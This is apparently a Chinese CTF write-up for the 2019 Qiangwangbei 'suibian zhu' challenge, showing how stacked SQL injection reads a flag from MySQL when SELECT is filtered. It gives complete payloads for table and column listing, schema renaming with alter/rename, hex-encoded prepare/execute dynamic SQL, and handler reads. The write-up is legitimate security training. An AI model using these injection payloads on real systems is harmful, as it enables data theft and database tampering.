堆叠注入之 SELECT 被过滤后的注入思路

43

!!! 针对 MySQL !!!

正常语句: select id from users where id='1'

堆叠注入: select id from users where id='1'; select 'inject'

堆叠注入就是通过闭合破坏上下文从而在新的一行执行语句

堆叠注入的一个用途就是他可以使用 alter, rename 等等命令

题目

这是一个 2019 年的题目: 强网杯随便注

在这里可以搜索到: https://buuoj.cn/challenges

解题思路

输入 1 后可以看到有对应信息返回, 有两列

2024-06-18-21.57.37

再闭合单引号看看注点

输入 1' or 1=1 #, 发现闭合了, 返回了表中所有的数据

2024-06-18-22.04.16

然后自然就是尝试 union select, 但是发现他过滤了 select:

2024-06-18-22.06.43

这里就要寻找另一种思路了, 首先明确一点我们目前是要先找出所有的表, 看表中的列名是否有 flag 相关信息

于是就尝试 show 进行堆叠, 输入 1';show tables#

2024-06-18-22.08.56

可以看到只有两张表, 那么很显然正常情况下查的是 words 这个表, 那么另一个全是数字的很有可能就放了 flag

输入:

1';show columns from `1919810931114514` #
2024-06-18-22.13.15

看到 flag 了, 现在任务就是从这个表里面将 flag 的值拿出来, 但是有一个问题就是 select 被过滤了, 该如何拿

实际上在做这道题的时候, 我首先想到的是 16 进制绕过, 后来看到网上有三种思路: 重命名代码利用, 16 进制动态 SQL 执行, 使用 handler 命令

代码利用

通过 1';show columns from words # 我们确认了, 这个表有两列: id 和 data

通过输入的数据和返回的数据, 很容易猜测出后端 SQL 为: select id from words where id='$id'

于是我们就可以通过 alter , 和 rename 来修改表名以及字段名, 把保存 flag 的表名修改成 words, 并且把列名改为 id, 这样就可以利用后端代码把 flag 提取出来

具体的语句:

1';alter table words rename w;alter table `1919810931114514` change flag id varchar(100);alter table `1919810931114514` rename words;#

需要注意的是, 这里把列 flag 修改成 id 不让语句报错就可以了, 当然也可以把保存 flag 的表改成和 words 一样的结构

然后通过输入 1' or 1=1# 就可以拿到 flag 了

动态 SQL 执行

这里就利用了 MySQL 的一个特性, 它可以动态的编译一条语句并执行, 且支持 16 进制

我们直接把下面的语句进行 hex 编码:

select flag from `1919810931114514`

编码后:

0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460

payload:

1';SET @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare esql from @a;execute esql;

解释:

  • SET @a=0x73: 设置一个用户变量 a
  • prepare esql from @a: 准备一个名为 esql 的预处理语句, 内容从用户变量 a 中获取
  • execute esql: 执行准备好的名为 esql 的语句

Handler 命令

handler命令可以直接操作数据库表中的行, 通常用于高效读取和处理大量数据的行

payload 如下:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

解释:

  • handler xxx open as a: 打开 xxx 表并将其分配给一个句柄 a
  • handler a read next: 从句柄 a 中读取下一行

收获

  • alter, rename
  • 动态 SQL 执行
  • handler 读取一行数据